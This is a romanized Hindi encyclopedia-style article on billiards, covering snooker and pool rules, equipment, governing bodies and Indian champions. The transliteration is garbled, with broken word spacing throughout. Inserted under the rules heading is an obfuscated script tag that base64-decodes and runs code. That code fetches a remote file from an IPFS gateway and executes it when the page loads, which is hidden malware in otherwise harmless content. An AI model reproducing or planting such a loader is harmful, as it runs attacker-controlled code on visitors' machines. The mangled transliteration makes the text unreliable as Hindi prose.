बिलियर्ड्स

200px|right ayatakar tebal par chhoti geandoan ki ek nishchit sankhya v ek lambi chhh di se, jise kyoo kaha jata hai, khele jane vale vibhinn kheloan mean se ek. kairam ya freanch biliyards tin geandoan se ek bina p aauket vali tebal par khela jata haian any pramukh khel chh: p aauket vali tebaloan par khele jate haian, jinamean har kone mean ek-ek aur donoan lambi bhujaoan mean ek-ek p aauket hoti haian.

igliansh biliyards

igliansh biliyards, jo tin geandoan se khela jata hai.

snookar

snookar ianglish biliyards ke liye prayukt tebal par v usi akar ki geandoan se khela jata hai. yah khel 22 geandoan se khela jata hai: safed kyoo geand, 15 lal geand aur chhah rangin geand, jinaka pili ke 2, hari ke 3, bhoori ke 4, nili ke 5, gulabi ke 6 v kali ke 7 ke hisab se aank hote haian.

khel ke niyam

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• khila di ko pahale ek lal geand ko p aauket mean dalakar phir kisi bhi rang ki geand dalane ka prayas karana chahiye, jisase use p aauket mean dali gee geand ke rang ke anusar aank milate rahean.
• usake bad lal v rangin geandean ek ke bad ek p aauket mean dali jati haian.
• p aauket mean dale jane ke pashchat pratyek lal geand vahian rahati hai, jabaki any rangoan ki geandean, jab p aauket mean dal di jaean, to jab tak koee bhi lal geand tebal par bachi rahati hai, tab tak vapas apane nirdharit sthan par rakhi jati haian.
• khel tab tak chalata hai, jab tak keval chhah rango ki geandean hi tebal par n rah jaean.
• aant mean chhah rangin geandoan ko unake aankoan ke mooly ke anusar kram se p aauket mean dala jana chahiye.
• jab akhiri geand p aauket mean dal di jati hai, to khel samapt ho jata hai.
• khel ke dauran yadi (any geand athava geandoan ki rookavat ke karan) koee khila di us geand par prahar nahian kar pata, jis par use niyamanusar prahar karana chahiye, to kaha jata hai ki usane snookar kar diya hai aur vah apana daanv kho deta hai; yah sthiti khel ko usaka nam deti hai.

p aauket biliyards ya pool

• p aauket biliyards ya pool, jo 15 geandoan v ek kyoo geand se khela jata hai.
• p aauket biliyards samanyat:1.4 mitar x 2.7 mitar ki tebal par khela jata hai, yadyapi vishesh pratiyogitaoan mean tebal kabhi-kabhi 1.5 mitar x 3 mitar bhi hoti hai.
• p aauket biliyards mean ek safed geand ke sath hi 15 sankhyakit lakshy geandean hoti haian; jinamean 1 se 8 lakshy geandoan par ek hi rang hota hai, 9 se 15 tak pattiyaan hoti haian.
• khel ki shurooat mean 15 lakshy geandean tebil ke ek kone par tribhujakar abhirachana mean tribhujakar lak di athava plastik ke ,raik ke dvara rakhi jati hai.
• pahala khila di sanrachana ko kyoo b aaul se to data hai; phir vah lakshy geandoan ko kisi nirdisht kram ya riti se p aauket mean dalane ka prayas karata hai.
• saphal prahar n kar pane par doosare khila di ko prahar karane ka avasar milata hai.
• aisa hi kyoo b aaul ko p aauket mean dal dene se hota hai, jise ‘skraichiang’ kaha jata hai.
• stret pool mean pratyek khila di 14 lakshy geandoan ko kisi bhi kram athava sanyojan mean p aauket mean dalane ka prayas karata hai. halaanki pratyek prahar ke poorv, khila di ko geand ki sankhya v nirdisht p aauket batana hota hai; yadi vah saphal hota hai, to use ek aank milata hai.

avishkar

kee deshoan ko, jinamean fraans, iglaiand, chin, itali v spen shamil haian, is khel ke avishkar ka shrey diya jata hai, lekin vastav mean biliyards ke udbhav ke vishay mean kuchh bhi jnat nahian hai. is khel ke bare mean yoorop mean sabase praranbhik janakari 15vian shatabdi se milati hai.

upakaran

• biliyards ke sabhi kheloan ke liye ek tebal, kyoo stiks v aur geandean avashyak haian.
• paranparik mahogani ki tebal aj bhi prayog ki jati hai, lekin ab tebal samanyat: any lak diyoan v sianthetik samragi ki banati haian.
• isaki vishal ayatakar tebal vishisht roop se chau daee se adhik duguni lambi hoti hai.
• isaki oopari satah samanyat: samatal slet ki bune hue ooni kap de se dhaki hoti hai, jise kabhi-kabhi ‘felt’ kaha jata hai.
• kathor rab d athava sianthetik rab d ka mu da hua ghera, jise kushan kaha jata hai, tebal ki aandarooni kinare par laga hota hai.
• kyoo chikani lak di athava sianthetik samragi ki ek or se kramash: patali hoti chhh d hoti hai, jo lanbaee mean 100 se 150 semi tak hoti hai.
• kyoo ke patale chhor par, jisase geand par prahar kiya jata hai, plastik, faibar tatha hathidaant j da jata hai, jis par ek cham de ka tuk da chipaka hota hai.
• chhote ghanakar tuk doan se kyoo ke sire par ek saman ch aauk lagaya jata hai, jisase khila diyoan ko kyoo geandoan ko madhy se prahar kar phiraki vali chal dene mean sahayata milati hai, jise gret briten mean ‘said’ v sanyukt rajy amerika mean ‘ianglish’ kaha jata hai.
• biliyards ki geand, jo pahale hathidaant athava beljiyan mitti ki banaee jati thian, ab samanyat: plastik ki hoti haian; aur unamean pratyek 5.7 se 6 semi vyas ki hoti hai, b di geand kairam biliyards mean prayog ki jati haian.

ianglish biliyards v snookar ke niyam

• ianglish biliyards v snookar ki aangrezi kism ki vaishvik niyamak sankhya biliyards aiand snookar kantrol kauansil hai.
• 1919 mean sthapit yah sanstha 1885 mean sthapit biliyards esosieshan v 1908 mean sthapit biliyards kantrol klab ke ekikrit roop ka pratinidhitv karati hai.
• yah donoan kheloan ki sharte v niyam banati hai aur adhikarik mukhapatr biliyards aiand snookar ka prakashan karati hai.

amerikan p aauket biliyards

• amerikan p aauket biliyards kheloan ki mukhy niyamak sanstha, jisamean snookar ka ameriki prakar bhi shamil hai, biliyard kaangres aauf amerika hai, jo 1948 se hi niyamak sanstha rahi hai.
• yah khel ke niyamoan ka anurakshan karati hai v khel pratiyogitaoan ki svikriti deti hai, jisamean yooes opan p aauket biliyards chaianpiyanaship shamil hai, jise vishv kap pratiyogita mana jata hai.

bharat mean biliyards

• bharat mean biliyardas aur snookar jaise kautoohal jagane vale khel bahut kam huye haian.
• aandhere kamare, behatarin kap de pahane khila di aur kuchh varsh poorv tak 18 ki umr ke niche valoan ka pravesh nishedh karate soochana patt, sabhi biliyards aur snookar ko rahasyamay banate the, jisase kee yuva is khel ki or akarshit hue.
• inamean se ek char bar ke peshevar biliyards ke vishv vijeta git sethi the. 12 varsh ki umr mean git aksar ahamadabad ke relave klab biliyards kaksh mean nazar bachakar ghus jate v kyoo par hath ajamate. yah shighr hi unaka shauq ban gaya aur keval ath varsh bad 1981 mean vah sabase kam umr ke rashtriy vijeta bane.
• unhean shauqiya khila diyoan ka vishv khitab 1984 mean mila. sethi ki saphalata usi mahan bharatiy biliyards paranpara ki k di thi, jo 1958 mean us samay surkhiyoan mean aee thi, jab vilsan jons ne shauqiya khila diya ka vishv khitab jita.
• jons dvara sthapit pratiman ke bad, maikal farera ne purane aur ne daur ke bich setu ka kam kiya. farera ne apana pahala shauqiya khitab 1977 mean jita aur 1983 tak do bar aur jitakar aangrezoan ke varchasv ko ganbhir chunauti di, jinhoanne 19vian shatabdi mean khel ka bharatiy upamahadvip mean parichay karaya tha.
• farera un bahut se khila diyoan ki pidhi ke the, jo achchha biliyards khelate the aur pratidvandviyoan ko nishchit hi kathin chunauti dete the. is pidhi mean satish mohan, araviand savoor aur alim shamil the.
• git sethi dvara farera ke naqshe qadam par chalane se, 1980 v 1990 ke dashak ne nishchit hi bharatiy biliyards ka svarnim yug dekha. sethi ne 1986 mean ek aur shauqiya khitab jita aur 1990 ke dashak mean char peshevar vishv khitab jite, jinamean se aantim 1998 mean jita gaya.
• shauqiya biliyards mean bharat ke kirtimanoan mean ek aur pratishthapoorn adhyay 1990 mean tab ju da manoj kothari 'arthar v aaukar trafi' jitane vale chauthe bharatiy bane.
• jab 1988 mean baiankak ke eshiyaee kheloan mean ye khel shamil kiye ge, tab ashok shaandily ne bharat ke liye svarn padak jite. shaandily ne sethi ke sath milakar yugal sparddha jiti aur fainal mean sethi ko harakar svarn padak jita.
• alok kumar, deveandr joshi, dharmeandr lili, mannan chandr aur any ke sath shaandily biliyards mean bharat ke bhavishy ke prati asha bandhate haian.
• om agraval ne snookar mean shauqiya vishv pratiyogita 1984 mean jiti.
• yasin marcheant 1989 mean eshiyaee pratiyogita jitakar vishv snookar mean apana muqam banane vale ekamatr any bharatiy bane.
• kyoo khel bharat ke yuvaoan mean tezi se lokapriy hote ja rahe haian. pool aur kairam ajakal yuvaoan ko bahut akarshit kar rahe haian,jo har kshetr mean badhate pool parlaroan ke karan sulabh bhi hote ja rahe haian.
• biliyards ke in adhik akarshak roopoan ke behatar niyojan se bhavishy ke vijetaoan ka uday nishchit hai.

bahari k diyaan

aantarrashtriy biliyards aur snookar phedareshan

sanbandhit lekh

aantarrashtriy biliyards aur snookar phedareshan